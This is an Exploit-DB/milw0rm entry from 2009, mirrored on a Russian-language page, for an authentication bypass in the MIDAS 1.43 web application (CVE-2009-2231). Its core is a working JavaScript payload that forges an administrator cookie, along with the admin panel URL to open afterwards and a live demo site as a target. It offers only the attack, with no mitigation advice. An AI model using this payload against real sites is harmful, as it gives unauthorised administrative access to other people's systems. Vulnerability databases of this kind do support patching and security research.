Exploit MIDAS 1.43 - (Authentication Bypass) Insecure Cookie Handling

[Exploiter]

EDB-ID

8987

Проверка EDB

1. Пройдено

Автор

HXH

Тип уязвимости

WEBAPPS

Платформа

CGI

CVE

cve-2009-2231

Дата публикации

2009-06-22

--------------------------------------------

MIDAS Insecure Cookie Handling Vulnerability

--------------------------------------------

Author.: HxH

Contact: HxH[at]live[dot]at

---------------------------

Script.: MIDAS

Home...: http://mid.as

-------------------------------------------------------------------------------------------------

Exploit: javascript:document.cookie="MIDAS=admin|Administrator|1|data0n9a|en-US|Default; path=/";

Note...: After make cookie go direct to http://[website]/[script]/level1.pl?x=0

-------------------------------------------------------------------------------------------------

Demo...: http://demo.mid.as

Panel..: http://demo.mid.as/level1.pl?x=0

-----------------------------------------

Greetz.: ~ Jiko ~ Sniper Code

-----------------------------

# milw0rm.com [2009-06-22]